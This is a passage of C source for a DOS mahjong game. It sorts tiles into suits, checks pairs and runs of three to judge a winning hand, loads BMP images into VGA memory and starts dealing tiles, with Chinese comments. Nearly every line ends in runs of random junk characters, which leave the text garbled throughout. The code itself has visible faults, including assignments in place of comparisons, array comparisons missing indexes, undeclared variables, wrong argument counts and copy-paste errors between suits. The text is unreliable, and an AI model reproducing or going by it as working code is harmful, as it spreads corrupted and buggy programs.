lgg=5;+ m4 r: D1 S- q9 L% ^$ m6 ?
me.pp.d[1]=5;
0 X A; A# f# n) _ t) n" h; v8 P}8 H/ g' s/ h& n
else if(me.pp.number<=131 && me.pp.number>=128)1 R; [9 y3 m" c4 ?3 G: q0 J3 E) |
{8 Z0 C* ]: t+ P9 _/ s# v
lgg=6;
' `( K/ F* I1 l; T+ \me.pp.d[1]=6;. J% E7 S9 z5 A" J# l- e6 i* }$ E
}
 V! e' k1 S3 z. I" G! Xelse if(me.pp.number<=135 && me.pp.number>=132)
( ^' ?( q7 B& N9 G4 i/ H8 `& y; W{. q7 K/ r; I$ o; Y% O
lgg=7;
/ ]. e0 t" E5 S8 p9 X( u1 U1 Z# Q, X6 dme.pp.d[1]=7;: p: a$ |9 S @
}
+ m+ |4 V& c* Z- z}
6 f1 B5 D9 z9 g# P/ @1 G! D6 O, N}
0 t) Y/ i' I; _$ P" [" O) t}
- c/ l, x# O) ^! vvoid istwo(testt)
9 Q5 w$ _3 l/ h3 @, K' v. n8 Fint testt[];! h, @" d% w6 y+ b# j5 o
{ if(testt[0]==testt[1])# J, l7 r8 b3 z; n& l. ?
second++;0 }8 ~& `' L: u& @; r
}" Y0 ^. F. N6 o
void isthree(testt,n); j, s8 [9 G% L. n' w: x. A0 B
int testt[],n=0;* \! ]1 s$ ^$ g) o- T3 i# ^
{ int i,j,flage=0,lianx=0,same=0;" D5 K2 p: w$ Y" a( N
n=n/3;; A Q: N7 |* L, D q4 ?$ m
for(j=0;j<n;j++)1 e$ F" w4 k# Y/ f8 Z4 f
{
" y5 l# g1 q. _4 M- E0 m8 \for(i=j*3;i<2+j*3;i++)
* a" w1 X3 W: o* t+ z2 {$ x1 \{
 U( n& Q: l$ ~' R( ]if(testt==testt[i+1])
* W# F% X& P% }( ^; nsame++; j( g; f I: y8 A$ A" A7 n" @
if(testt[i+1]-testt==1)$ c B8 ~' o5 e1 z" u6 ?; P( i
lianx++;
+ a5 |* [+ k+ ~}
" p" J7 B- B8 ?, N4 H# a+ }if(same==2)
# \/ y* c+ f8 ~8 z7 ~6 n# \threes++;
( D& g7 F9 \& y" _/ }9 z+ aif(lianx==2): L. A! N3 w9 Z o1 E
threes++;; H( v7 _# G2 A+ R% Y' o) w
same=0;% r) I4 I5 r: O& M$ P. M
lianx=0;
' K& |+ `. K- ^* ?: P6 B8 M. w}
0 R7 F" q( j: t4 b4 w3 q6 N}
- t- c3 L9 t) f# xvoid panduan() /*本程序的精髓*/
+ g6 I- a- c- U{int data[14];/ p# F" H6 W* I! C8 c
int pw[14];
2 B0 |" c- Q( }: Y8 Fint pt[14];4 Q' ~: t, |' g) G
int pi[14];
9 G7 X0 A: R' D& M6 h$ B2 G _int pf[14];6 _% i4 C C: b
int test[12];
+ V+ J6 W8 D1 V3 b/ H! q+ Oint jj,w,mm,nn,tpp=0,lp=0,ww=0,tt=0,ii=0,ff=0;ill=0;
8 Y! K. A# B/ l; J3 ?7 ufor(jj=0;jj<=me.m;jj++)+ a- K0 ~, n5 Q6 h4 s- V
{1 E4 M0 G* F3 J' ?5 B" L
if(me.pp[jj].d[0]==1)+ {! E. x; @6 I
data[jj]=me.pp[jj].d[1];9 U9 U; C' G+ n6 _
if(me.pp[jj].d[0]==2)7 F) `, G" u$ A+ l0 `$ y+ c/ z
data[jj]=me.pp[jj].d[1]+10;( H0 W: l+ L4 a T4 q- a, u
if(me.pp[jj].d[0]==3)
0 K. J. V6 U% T) T" G% wdata[jj]=me.pp[jj].d[1]+20;
; b2 O( Z5 X- ]9 Q4 S9 h' Gif(me.pp[jj].d[0]==4)
8 x5 `$ }5 Q' n" Y* Y2 @data[jj]=me.pp[jj].d[1]+30;
; ~" t; Y9 U' G: H) ~) W}6 t0 v% z' f2 o" X8 p3 t* [
if(logo==2)2 \' K# y8 ~& Q0 f
w=logoo+10;( {9 c4 e) ^* n& v& E: m& h
if(logo==3)
 m* e: z8 R' v" L( n3 b+ xw=logoo+20;) O* i D8 }' \9 E1 @
if(logo==4) L! \: Q9 X$ f
w=logoo+30;
4 s+ L# n: w7 p# R* y7 H( gdata[computer.m+1]=w;
7 K4 U. c" [; ~. cfor(mm=0;mm<=computer.m;mm++)
/ |8 b) k" v" nfor(nn=mm;nn<=computer.m;nn++)7 b% b& y+ o S! w+ a6 J. T# @
if(data[mm]>data[nn+1])
 M; P. ~3 i' v1 p9 J& i w2 ]{8 F* U6 g) e6 Z4 Y# }; [& m
tpp=data[mm];4 T( e0 E6 _ b1 p$ T2 ?
data[mm]=data[nn+1];/ h( x8 X& r* C0 [
data[nn+1]=tpp;
; h# S; [1 w( @4 u e} c+ g5 s3 ` ]5 z
lp=0;( l) T9 y1 K/ P+ K% S5 W
while(lp<=computer.m)- c( R4 n# u6 v) A
{ if(data[lp]<10)
& w, A5 Z- c% V& y. }' F9 ]3 Jpw[ww++]=data[lp];* A! W0 K/ C- P' d
if(data[lp]>10 && data[lp]<20). W0 `* y' D: N2 x. h
pt[tt++]=data[lp];/ a+ |- F D7 t3 S: r- G( d
if(data[lp]>20 && data[lp]<30), ]2 h7 N- F5 }# ^/ ~ m
pi[ii++]=data[lp];
# ]/ ^. _0 r8 V# [0 ^6 ~+ J1 rif(data[lp]>30 && data[lp]<38)% W ? W: `( L2 I! G
pf[ff++]=data[lp];
' `6 R) N$ N1 i6 p! L! W2 rlp++;
$ D" J% z1 X8 D5 A}3 U' g" @# K5 r) d, p9 |# ?7 P
if(ww==2)
; p/ k$ Y7 h2 ristwo(pw);
" \5 Z9 R" [ j. i9 S6 @7 s# N5 ^else if(ww==3)
: E, }% f0 K0 Uisthree(pw,ww);; e4 U( H% n, O' P! |
else if(ww==5)
5 f$ Z" O7 j O# q. P. W' n( V5 h/*pw[5]原始牌数组，假设已经升序排列*/
4 H- y$ V/ {2 o# F0 e }/*test[3]用来放置测试牌的数组*// ?+ X$ u9 F5 d0 g+ D, F9 ~
for(i=0;i<4;i++)
8 \1 p) P. }- I{/ v# O. P0 K& S0 L8 v y! @1 X$ k
for(j=0;j<2;j++)
' O3 F. V' a- w4 }4 K% ?{test[j]=pw[i+j];2 Y4 F6 Y8 c5 O; B) ^/ l
}
$ p, U; b% ^% A8 g B- Mif(istwo(test))
0 ]$ w/ U3 y7 ]5 u6 t6 Y{ ill=0;
& j0 m, A& H* u8 }9 ofor(kl=0;kl<5;kl++) /*把不在test数组中的三张放到test数组中*/
% j$ W$ h3 I5 x# _1 N{if(kl==i)( U0 b0 f+ K" T
{9 D$ P1 i& |9 ?1 y) b* a
kl=kl+2;
, {$ H# d3 u4 g% X& Qif(kl==5)
1 o+ M7 a2 j9 H% B2 X9 v) {0 J6 G& ]break;# m, [4 f# X+ d" x, `! g. x# g
}/ V( N8 Q: P& ~3 c' W
test[ill++]=pw[kl];( S: W- S& [/ ~
}
( T5 w5 h/ W1 C& e' [isthree(test);
: V: F' c. l+ p3 Z}
* X# O% |; Q7 r# X6 B' T$ }" Y X( P}6 ~" g% j. |) r' Z. i$ ?7 X/ O
else if(ww==6)! O$ o( c: w1 o6 d9 z( b$ T
isthree(pw,ww); 2 A2 `1 Q7 H- P [# D9 Y
else if(ww==8)
6 \& v/ ^; h6 {1 k4 \for(i=0;i<7;i++)# k" l6 c, n+ N/ h+ T% S9 a- B
{/ H) z4 g% u. h$ q& |& q
for(j=0;j<2;j++)
% a E* Q' {3 r$ J{test[j]=pw[i+j];
2 `; M* a5 H5 j! b2 r9 W" r* b$ e* p}# M% Q+ \/ W f; K
if(istwo(test))
# W& M- k8 `3 D2 f. D{ ill=0;
, D$ q$ x! y( g& W, \for(kl=0;kl<8;kl++) /*把不在test数组中的六张放到test数组中*/
$ z s# E6 |- j8 u{if(kl==i)
0 P V/ D& A2 V/ Z0 a( [- B{1 W# T- W- R5 s& A( f8 v
kl=kl+2;! t+ Y- K" B. T" M' m
if(kl==8)
1 R. y+ i. Z. i' j: r( Abreak;
' _! Q9 `& |' ~; w) L+ o/ E. {/ U}. `4 I/ s! u4 \. \$ J, \
test[ill++]=pw[kl];
$ Q( l) H; t1 ^4 s0 O6 P}+ q6 F: g" K, S+ H: s+ d
isthree(test,ww-2);
4 r/ t* R3 E* }4 ]/ L, \- @% r6 {$ i}
- ?8 ~! ~0 \! X} / ~7 }! ?2 r& S& t U; j$ t; G
else if(ww==9)5 a$ q9 \9 r2 p( b+ }
isthree(pw,ww);
& s) r; N- O* \! g# H! `else if(ww==11)
+ J3 `' ~8 S8 K6 E0 {& V- _for(i=0;i<10;i++)+ o P" ?$ Z+ L* A& T d0 j4 B
{
7 x- i" M$ H# ^% Qfor(j=0;j<2;j++)
 B# _/ @7 M; U8 k8 E{test[j]=pw[i+j]; 9 m. ]- y# Y [0 r2 ]( C% T; w
}$ ~/ Q# n; B: l4 G2 o- S" _
if(istwo(test))
- r! I% o7 p8 d' R8 W{ ill=0;* M8 }" d# S5 T# b% z
for(kl=0;kl<11;kl++) /*把不在test数组中的九张放到test数组中*/
% r6 E+ F y" c! e( m3 ~/ g{if(kl==i)8 f8 s7 ~$ m! n( b- O) s; z
{3 c6 J2 N0 P2 H# M2 c; O6 [. K* [" a
kl=kl+2;
8 G& p* N/ s- ]7 C4 W. J) m$ Bif(kl==11) g6 I, ?) D" `. y
break;7 z/ J* }2 y/ ?+ J8 K
}/ X* j6 T l) n+ z# u( l
test[ill++]=pw[kl];- @. G8 I; c/ r+ W! m
}
$ [8 B* c7 Q z; O" x& U4 m5 W' Zisthree(test,ww-2); 3 k8 ^1 ]- P9 v' E% _/ A
}
 n1 ]; h$ ]7 p7 w4 z! H; e}
( q% t) O9 s1 c: k+ N7 Pelse if(ww=12)& b& [; I3 p2 q' U3 j
isthree(pw,ww);
9 ~2 ?* n1 c+ l7 y2 Nelse if(ww=14)! a6 \4 w) e, ], u) s: ?
for(i=0;i<13;i++)+ r2 Y0 h# I B& s8 h
{: N* p- v$ ^( z) u" [8 _- c z
for(j=0;j<2;j++)* U- z6 o# b! e
{test[j]=pw[i+j];8 [5 B7 h0 R7 O0 F
}
: k2 ]$ c9 L* }' W# k4 G8 n5 j7 Gif(istwo(test))
% t9 p! a4 V4 G# L{ ill=0;9 o2 O' ?& x! U) X" B1 T
for(kl=0;kl<11;kl++) /*把不在test数组中的九张放到test数组中*/# C/ _! e( L& J! L+ G; Z& v
{if(kl==i)3 k# L4 N" C8 ~
{
% D J5 Y1 P" d( W+ p( Nkl=kl+2;3 F6 K* Q( F& J3 v: K! o
if(kl==14)
# ]9 |3 u4 B+ Ebreak;/ y4 Q3 j0 D1 Z B2 e4 G
}
" }. S' Q& g. O5 ytest[ill++]=pw[kl];
7 ?, W; c/ H, ~* V% k6 h/ N}* r0 C0 }; l& B+ \6 ?7 {
isthree(test,ww-2);
6 N, [ x7 Q9 A: O& k c}0 S! h0 d* r8 E6 [3 L3 g9 C
}
/ ?) v5 B# K+ R. \if(tt==2)" Y& o T% w8 t" c7 {
istwo(pt);
) ~" v/ ?* k2 T$ w/ w' V1 S% Kelse if(tt==3)" b* c* _5 V/ p% V5 T! d) c
isthree(pt,tt);
5 Y# }4 X0 p% [* a+ Q: gelse if(tt==5)
7 |' k8 B9 e/ e; z4 X/*pt[5]原始牌数组，假设已经升序排列*/
0 q& t; U! e& [2 ?) q/*test[3]用来放置测试牌的数组*/0 r; N% O1 L# I) u5 Z
for(i=0;i<4;i++)
% Y8 a) ]7 v0 G% U O{$ ], |& R* ^1 }/ o G3 Q
for(j=0;j<2;j++), F( W. Z; I+ y* g: o
{test[j]=pt[i+j]; 4 W' H4 y- N. ]3 e- U4 Q" C
}9 h; F' X! \3 ]. ^! M; x+ t
if(istwo(test))
1 f( _% M2 Y5 z' p# y9 N5 \! t{ ill=0;% }+ c; ]* t8 p4 S1 H* ]% A
for(kl=0;kl<5;kl++) /*把不在test数组中的三张放到test数组中*/$ z& ^6 P8 L Z( Z% g/ V5 ?
{if(kl==i)
* Z3 u; M# j- l) @{& r& W% {& W# |0 ~
kl=kl+2;3 b5 d, z4 C+ }
if(kl==5)0 R0 b9 f; O" y. V9 T( k5 C: a( S
break;
: E/ f; a# V! s& R+ @; _6 G}
8 a( W7 ^. e) s: S- k; Ktest[ill++]=pt[kl];3 j# {; D0 p" R- D: g) F
}
7 I4 d0 r6 M7 I4 g7 X" fisthree(test);
8 N4 F; v" p) j; [}1 V& V, ]0 _3 v; f
}
* T& V2 y S3 L) U" ]else if(tt==6)5 P- Y) }# _6 V3 r1 v* `" g4 F4 `
isthree(pt,tt);
1 A. B) v, B( O) K& Pelse if(tt==8)8 U+ K2 Z4 ^" S0 k7 k# X; v# [
for(i=0;i<7;i++)1 s$ @ I" c* {" B( c, g' a1 f
{9 A2 o0 _# V8 r2 X9 {8 W
for(j=0;j<2;j++)9 F1 H5 i, h5 j+ M# K* T, Q0 r" D: ]
{test[j]=pt[i+j];
" K. I, S4 \" T3 Z- m1 {}
) A, G) L0 ]4 v1 X# j( r5 Lif(istwo(test))
8 }9 B0 {+ ^& F) l' g{ ill=0;
( s* f' O5 Z* u/ k8 cfor(kl=0;kl<8;kl++) /*把不在test数组中的六张放到test数组中*/
8 w8 K1 W+ z c2 ^# V{if(kl==i)
) ]6 V/ [$ {' ]; G4 ^8 U{9 Z" l+ E: y, \4 @
kl=kl+2;
 I4 Y! s4 r! mif(kl==8); J5 s( i/ n, A1 E. |- A0 Z' i
break;7 P( G/ V5 `# E/ ?( B s/ c
}4 N0 @3 C4 U; J5 ]+ C1 H/ z% |
test[ill++]=pt[kl];
( ?: Z$ g, T6 A, u7 n0 y}
: k6 J1 M$ b8 X% {isthree(test,tt-2);
1 {8 u2 X0 O G, s0 x; D: m9 j# ?6 f}
4 F/ L& `: P, \4 K6 M7 Z} 3 V! H3 @" O9 N8 ?# L
else if(tt==9)( ?- J* a* D: H* m. x0 o
isthree(pt,tt);
, j# q! c: m- k" I, `; y. Gelse if(tt==11)
/ K. i: v6 L. A. hfor(i=0;i<10;i++)
0 a, Z: T7 M% H{
8 c6 ~$ ]+ w) dfor(j=0;j<2;j++)1 l# M5 h% J+ V3 R) Q7 U# r9 V
{test[j]=pt[i+j]; 7 f, }" ^& N' S; O
}
2 N" }5 k. {/ A7 Wif(istwo(test))* s% w4 U9 g+ o' |, N* ?% U1 G
{ ill=0;% ?2 k; Q7 t2 d; o
for(kl=0;kl<11;kl++) /*把不在test数组中的九张放到test数组中*/
2 h- n( e" X) |% Y{if(kl==i)& H; [+ ~5 G5 }; ?
{4 g& B; W) k. e) C8 {1 e2 H! R) c
kl=kl+2;
- l% [* P \' kif(kl==11)
 X2 e" G3 r4 C; W6 z* J0 k% ibreak;& f# C) l( D3 O5 ?
}
( y1 M, D$ Y0 e' D. s' a; rtest[ill++]=pt[kl];/ N2 `6 p& ~1 u* C# o
}
$ V5 W, l* e+ C4 k+ N/ sisthree(test,tt-2); , U4 T( q+ C! y% ^+ V1 H r
}
1 h4 L* E7 ~$ l* {8 d}+ b `: W: Q6 u/ Y
else if(tt=12)6 T- N: h2 C4 q$ y
isthree(pt,tt);
' w) O; g+ l1 h* felse if(tt=14)
 G! O8 q4 X/ Ffor(i=0;i<13;i++)3 G: l7 M: h- ~2 s# a
{' M8 M* G- \& T% l
for(j=0;j<2;j++)) R) u! V2 e S, C' F# h- |/ H
{test[j]=pt[i+j]; 6 a5 _4 m6 M4 F
}: W( y% B4 S* F
if(istwo(test))
; ?" X+ R+ O' g0 ?' c5 s, F8 U{ ill=0;) R6 L3 j( k' E1 u7 Q4 ~* ]: Z" ~0 }
for(kl=0;kl<11;kl++) /*把不在test数组中的九张放到test数组中*/' @0 b% s, {& u4 E# D# y2 ]
{if(kl==i)+ a! D9 d6 c' I4 J0 s" n
{$ H! [# ]/ f% Y' D5 w
kl=kl+2;9 ?0 G2 O5 N* _+ |/ T3 S! }
if(kl==14)
( v. J4 \) n; K7 Hbreak;3 \8 ?8 O1 j% ~( k
}" X ]7 c3 K. D( e, \0 W, j
test[ill++]=pt[kl];6 _- W" Y' x! K
}* y5 O$ ~& w% d" G' U4 c
isthree(test,tt-2);
2 R0 e: |1 @3 n2 P& L( m, D; d}1 y8 o) e5 v% a$ }
}4 \9 a) m; l8 v+ m- a- y
if(ii==2)$ W; {. ?0 E. G. I4 C5 U
istwo(pi);
8 a; A8 D! r d% t. helse if(ii==3)( L$ J" \0 A7 P3 A
isthree(pi,ii);+ p) s) l5 h. a
else if(ii==5)
+ ~( {# q8 h) _. P% d/*pi[5]原始牌数组，假设已经升序排列*/" ]" T( ` |- C H8 X
/*test[3]用来放置测试牌的数组*/
1 ^6 I& n( v0 t" o7 N* Hfor(i=0;i<4;i++)
: E$ H8 B9 D& x! Q3 n! K{
7 R2 Y4 x7 t! m% y5 }# S- Jfor(j=0;j<2;j++)
9 v3 v+ k Y* Q$ @3 g{test[j]=pi[i+j];
# M5 F8 d$ B1 \( m0 T}) I+ v, A* Q3 }" ]0 C- u
if(istwo(test))) g1 L1 |; M/ ]
{ ill=0;
$ R& i1 a/ v t, j$ ^: }2 efor(kl=0;kl<5;kl++) /*把不在test数组中的三张放到test数组中*/
# |7 S. m5 V8 o{if(kl==i)
8 C% U3 s2 I1 C: m5 @{
# L, `; o. @6 n, F# `+ F" Akl=kl+2;
" N8 F% M% x+ zif(kl==5)% e! @1 r8 S; E. u( K" ?7 i9 N
break;$ @' y, e. y, B: z7 T* F
}# s) [* B/ b) @. ?$ O- U
test[ill++]=pw[kl];
 C. B- {+ a0 S: r7 C& m* @}
# A6 C! F% A+ I$ s( [* m4 R/ Oisthree(test);
! l( R" y* Z8 [6 a! e}6 T/ Y4 u, R& M: m
}# o4 X8 k5 _/ E
else if(ii==6)6 S+ L/ w/ x9 I$ i: F
isthree(pi,ii);
/ p0 N& _2 k8 q o- `else if(ii==8)# |9 k# @' q! n8 M9 p' a
for(i=0;i<7;i++)
* {! @: D, b: i8 p% l4 [{- V: Y2 D/ D# z. L- K/ H
for(j=0;j<2;j++)
# L. E& Y- i4 F: J{test[j]=pi[i+j]; $ M$ W8 {% \' j2 J. u, `+ A
}
5 b% p& i/ [1 n7 O4 h# S0 s! {if(istwo(test))
! D L* C6 l8 L z{ ill=0;3 {" F# ^( k: S3 }9 o1 P- e
for(kl=0;kl<8;kl++) /*把不在test数组中的六张放到test数组中*/- T b, H7 R/ F8 u( R
{if(kl==i)0 C, k: X$ O# M) F- i
{
/ y' M6 P2 d: _! h* p3 mkl=kl+2;1 `) p$ E, O/ m* k3 l" {8 Z! Y F- Y
if(kl==8)) A5 Y- j5 K6 z, R5 O
break;
8 K5 M4 t% F7 p, f, Z}% f0 n# q3 f6 b3 ?4 u
test[ill++]=pi[kl];7 C$ \ ~: _( T( P
}
7 l$ X" a5 B) a2 _" D% Sisthree(test,ii-2);
7 q* X b* @- y) H* l6 ^" B% c3 A}
. X: M& O3 r4 e3 G2 o: l}
8 Y/ ~; ~$ b, E S' selse if(ii==9)
. |7 ], T j( f% e6 D% A6 b( Z( ~& listhree(pi,ii);+ |! O$ I+ D8 S6 `. H* `
else if(ii==11)
5 i7 w0 Z, F/ R# j3 kfor(i=0;i<10;i++)
' v2 M$ W' n/ t9 J5 E7 `{
+ e7 ~* R& r5 d; R- m% R1 |/ wfor(j=0;j<2;j++)8 g7 _6 x6 M1 `" ]
{test[j]=pi[i+j];
3 S) `3 Y' ^. n2 }) V, ~5 q}- o U, X) {6 L$ b- M# P7 j
if(istwo(test))8 k+ h+ g0 K% b [
{ ill=0;
7 K$ r! ~2 W8 ^; Kfor(kl=0;kl<11;kl++) /*把不在test数组中的九张放到test数组中*/0 H( r& Y8 k/ h0 W; k5 l
{if(kl==i)
3 P' R2 {( T! @& j: y3 B{/ m% n- n. J2 _8 J! ]
kl=kl+2;
- A( j) ^+ w5 Q: Aif(kl==11)) ]$ }" U! J& X5 I! W. c9 n. f
break;& a5 p$ f# e; m. x% ^$ J2 v
}
0 l3 Z: K8 C( h4 Ctest[ill++]=pi[kl];# ]& ?$ ]9 m/ [+ l7 s% N1 Y6 u& _
}# b1 o# ]$ a4 C2 ?6 W5 ?
isthree(test,ii-2);
$ l! X; ?" \' j |5 E3 u5 r}
) b F/ u N7 e- h}
/ v- B. c8 C: A8 `3 eelse if(ii=12)2 i4 j% V9 p' [6 E' K, R
isthree(pi,ii);
. j% T( o9 T* \) ]else if(ii=14)
) R, e5 p; Y) `' {' o0 E0 ffor(i=0;i<13;i++)
! c0 l b A4 H{! B1 }9 c. D& G0 y
for(j=0;j<2;j++)
+ _! Z2 s, o" G2 Y( R' W/ f0 P{test[j]=pi[i+j];
6 v3 g4 @0 Q' d; a1 J, Z+ q' e0 U/ ^}, K4 o0 i" U) [, d) @* p9 d
if(istwo(test))
; R1 K9 s2 T& O+ h5 l{ ill=0;5 [( F4 Q1 h5 E5 @3 m6 I0 G
for(kl=0;kl<11;kl++) /*把不在test数组中的九张放到test数组中*/
8 m5 A- J* J" ~2 @( G/ ]{if(kl==i)
6 z( q* U; f ]1 G$ s) l! a{7 t. U' Q9 T8 h: ^
kl=kl+2;/ n% h' Z* y* U* y& X$ `
if(kl==14)5 a0 B% G% V- w2 ?9 Q% Z5 z
break;
- x8 D3 H/ s; [# b8 v- q}5 i$ z. H& ^0 i- i8 ~& K C; J8 [
test[ill++]=pi[kl];3 m& J8 s# U6 l h
}
' M" R ]# y* {0 p& U5 visthree(test,ii-2); 4 ^) ^" d& T( j( ]
}
, ?6 Q8 t( R }( x3 `}
2 s# M. {2 ?7 K$ ~' tif(ff==2)
; r0 N, C9 f$ W& y" M" vistwo(pf);
! o- r2 ]0 v) b- ?! Ielse if(ff==3)
+ N; I: W% a' J% X# r; V6 z0 `8 Listhree(pf,ff);. z0 Z* `/ z/ `1 f) b, Y+ U
else if(ff==5)6 w' E3 J8 _/ u5 x' u- s
/*pf[5]原始牌数组，假设已经升序排列*/( h: y* `0 f: k6 F0 ]6 M
/*test[3]用来放置测试牌的数组*/
( o, `, c9 `- s2 R7 `% g+ T# M6 D- tfor(i=0;i<4;i++)
# f4 B1 b, Q0 j$ `) g7 U! B{
+ d( _2 m ^, g/ `+ I5 D9 I3 nfor(j=0;j<2;j++)
& ` ~+ j9 J: H; v- _{test[j]=pf[i+j]; A1 `0 s$ O* B" \
}
& i8 H5 u! p- o: z* ^% t" U: X9 [. @if(istwo(test))
* N$ j# J9 s/ n4 A0 Q7 g{ ill=0;
% d5 r6 k/ d# }6 |# T, G1 u0 H0 z4 ?for(kl=0;kl<5;kl++) /*把不在test数组中的三张放到test数组中*/
! o* \6 k# G/ ]* b, e( h2 Z8 |, o{if(kl==i)
3 R) N* v$ W% h* X{
1 ~3 Q0 C' p* Ykl=kl+2;
6 i. Z: q8 h5 J/ E7 [$ r) eif(kl==5)
* N3 L! f5 ?. R6 V- I) t- pbreak;
" z9 |; W8 Y6 I}8 g& n+ v4 e. H! p" E
test[ill++]=pf[kl];
2 F: R3 r- f( s& w}
4 `- V% ]. {/ B, z; Iisthree(test);$ b+ E1 R+ C& E4 d) B# O8 {
}7 J8 I1 S' G8 w# P h) w* M
}. d& N& Y& Z" t; O1 V1 n
else if(ff==6). h* b. f$ `; c( a" G: \1 q' A* `7 v
isthree(pf,ff);
* J% c) c# `+ ^9 Z9 l: c: V p0 Ielse if(ff==8)
) P/ m# q8 t7 \7 }7 _) Y$ A' afor(i=0;i<7;i++)7 L4 R! [' z& R6 I6 T
{6 k2 c' O+ B: W& y
for(j=0;j<2;j++)
" S$ x8 F. P7 S# M" ?" \5 A{test[j]=pf[i+j]; 9 h. Z8 m2 \$ q: j) l9 X
}. ^' b, w1 e" q/ X. y5 |
if(istwo(test)) @; x/ B+ t! k
{ ill=0;' ^5 U6 C L( G/ h2 ~
for(kl=0;kl<8;kl++) /*把不在test数组中的六张放到test数组中*/) s+ ?# U$ `% {, g! y2 _
{if(kl==i)
2 l3 @ }! E/ a3 x' x" s{8 q+ B; _5 u; p2 v, N+ p( n
kl=kl+2;
7 [9 ]5 c8 [" P* Pif(kl==8)
. ^$ z% O% a) I+ h& h1 Dbreak;
* x* g# u- o4 q# n/ G0 H0 `}
 C6 r8 o- Q' J4 G5 }1 Ptest[ill++]=pf[kl]; a; Q0 Y9 m2 K
}
1 y1 N6 {. Z/ f$ B% f. I9 I4 fisthree(test,ff-2);
& J& n# O+ u7 r2 w}% l( v+ Q: y( K1 {
}
- R- e7 v, y$ x9 B2 u: F' welse if(ff==9)
, L; X6 s$ a. {$ cisthree(pw,ww);
6 h u+ ~2 @3 o, W7 e: t4 V- Oelse if(ff==11)
' n$ C' |% u _+ j$ W5 Gfor(i=0;i<10;i++)
" s+ ~5 F' Q9 X" d' h! ~{
" r I' o/ e" S9 l4 u" Gfor(j=0;j<2;j++)
: q ?9 z. H, L+ P{test[j]=pf[i+j];
4 b6 m5 K( {4 k! P+ z. V}
+ t: }! \3 C8 u8 H5 Q& Iif(istwo(test))- K6 Y& }* j& k7 C/ ?
{ ill=0;
8 w3 Q% n, @2 F, Afor(kl=0;kl<11;kl++) /*把不在test数组中的九张放到test数组中*/
6 N0 m3 f+ M8 Z: P4 O{if(kl==i)
1 M7 x/ C' o6 V{
) I# d/ C+ k% `4 @1 y; I9 ?) P* Ikl=kl+2;& y$ U& A# n" V% n1 h$ L5 M
if(kl==11): H) s( K, P, h7 R
break;0 {" }- S# T" Q4 @, p& m, R
}
; A1 D2 y! b; `( K$ Vtest[ill++]=pf[kl];
- a, n: Y( V/ r7 l8 H' _}/ v0 S4 u2 d& K( K
isthree(test,ff-2); - ~$ i, J( g/ @4 l, n# F2 w
}6 \2 }2 {" }. m+ V, v/ ?, O
}
* X8 A% V' t( P# X5 n! Eelse if(ff=12)8 m1 c& g0 _3 r) y
isthree(pf,ff);
( M1 ^2 F4 b2 t& j% zelse if(ff=14)4 p9 n( d9 B1 V% p, e# X
for(i=0;i<13;i++)1 H2 l0 V# z& D( [
{9 B* ]8 s& k5 S, J3 Z: a6 W
for(j=0;j<2;j++)
; ~: B3 p, U/ ?( [- }{test[j]=pf[i+j]; 9 L$ A! l; s" _0 X1 R* o( O9 L
}+ `$ D4 C4 B8 z5 v5 G' E7 ` l# M' c
if(istwo(test))
3 Q4 u+ p1 s9 D2 Y# p4 z$ q5 c{ ill=0;+ j7 S. F. t; C% O: n9 ^+ B" F
for(kl=0;kl<11;kl++) /*把不在test数组中的九张放到test数组中*/$ K$ Y: i$ ?- u$ a4 O
{if(kl==i)% @4 y8 e8 X+ A) g+ c% x
{9 }3 e6 D7 s" y9 t8 e0 X) Z1 j1 f
kl=kl+2;
- H% S- K& N, Z+ B Zif(kl==14)5 K- u4 f- o! [* o$ b
break;+ v, E8 s2 |9 z
}
( J9 d2 j. b6 a6 H9 Stest[ill++]=pf[kl];2 k# J V7 c( y3 M$ f1 \% X
}' E5 |. ^1 N6 h9 ?( ~9 x
isthree(test,ff-2);$ z& g$ |1 e, V2 _8 t) {) E; @
}( }: g! m+ y+ |
}
0 h4 q: y* m! S$ \( F0 {. i}
: \# H- e7 _* P" h1 o- ?void main(void)
+ B* a* @: v9 ?; k; h{. W" O, e9 @8 J& _' w1 @; _/ v
FILE *bmp;) z$ ]8 a/ d# z( C
static char *name[2]={"ff.bmp","logo.bmp"};
3 e" r/ F1 b h: zchar *p;
6 }" Q9 n- D m- C, Fint *lingshi;% [, I4 B6 m8 r6 C
int x,y,i,j,t=2,cont=13,temp,n=0,onetothirteen=13,oneorthirteen=13,l=0,ll=0,kk,u;
7 c/ K6 Q. k* M. Zint every=0,w=0,x1,x2,y1,y2,every1=0;5 @% b, m9 F2 ^* r
int logo,lg,lgg,logoo,b=0,c=0,pg=0,h,h1,g=0,kkk,kkkk,r=0,d,o=0,dwei=0,dweig=0,dw[3],nn;, B; k; d6 z; X) `, t
BYTE palette[256][3];- K8 I x+ ~) D1 f* C+ P R, s
SETVGA;
5 `- _3 p2 Z/ Q, u* d, D Egetch();
4 U. Z1 c7 T& C, S) l8 a8 E8 Q$ zwhile(t--)) o, r. b. W. Q1 v$ @9 a
{* F! r, r9 N; q3 @& x0 C
bmp=fopen(name[t],"rb");
) n" [/ v) v. V" H0 {! g2 Z1 Pfseek(bmp,54,SEEK_SET);
% a: _7 K& S4 m: V( H9 @7 H0 X1 Cfor(i=0;i<256;i++)4 }4 y/ q/ l' P
{
8 B6 D6 A: i% Q& }8 {palette[2]=fgetc(bmp)>>2;
: J: p/ X+ m2 R" E1 G+ n5 F/ | ^palette[1]=fgetc(bmp)>>2;
5 I( Z9 |$ K9 Spalette[0]=fgetc(bmp)>>2;
6 V; A0 ^/ g' H( P. f; vfgetc(bmp); Q; {6 P# W+ {7 u0 z) Y
Set_Palette(i,palette[0],palette[1],palette[2]);
) f9 R. s/ M7 A, n}
+ V, _. R- K5 J; u+ ?for (y=0;y<200;y++)
% y5 B) V7 n4 Y7 x& v/ Q! efor(x=0;x<320;x++)
, G x5 @; u0 F: bpokeb(0xa000,y*320+x,fgetc(bmp));
1 W( W; c# q- V) o! _fclose(bmp);
( u; a+ Q- S3 U5 Y$ o: z- Xgetch();
/ ?8 z3 K7 e6 g+ B6 e2 c}
, Z8 v6 N% L+ h9 E7 r/ m! Bgetch(); f# w: Q+ Z# C
fillRectangle(0,0,320,200,0);7 L+ T. |3 b$ l; A6 h e% e4 e: q
getch();
( I' t3 \7 _' h" ?; O* Jrandomize();* D' C6 H. K0 A2 L0 J) R$ o! y ~. }
me.m=onetothirteen;
: r( d3 ]1 t+ L7 _# e: Fwhile(me.m>0) /*先循环，给自己拿牌*/
9 v V \) g: y+ i5 y2 P! m{/ X% f9 }5 f' c" P# c! ~
7 t4 g7 \4 E( H/ t
temp=random(136);
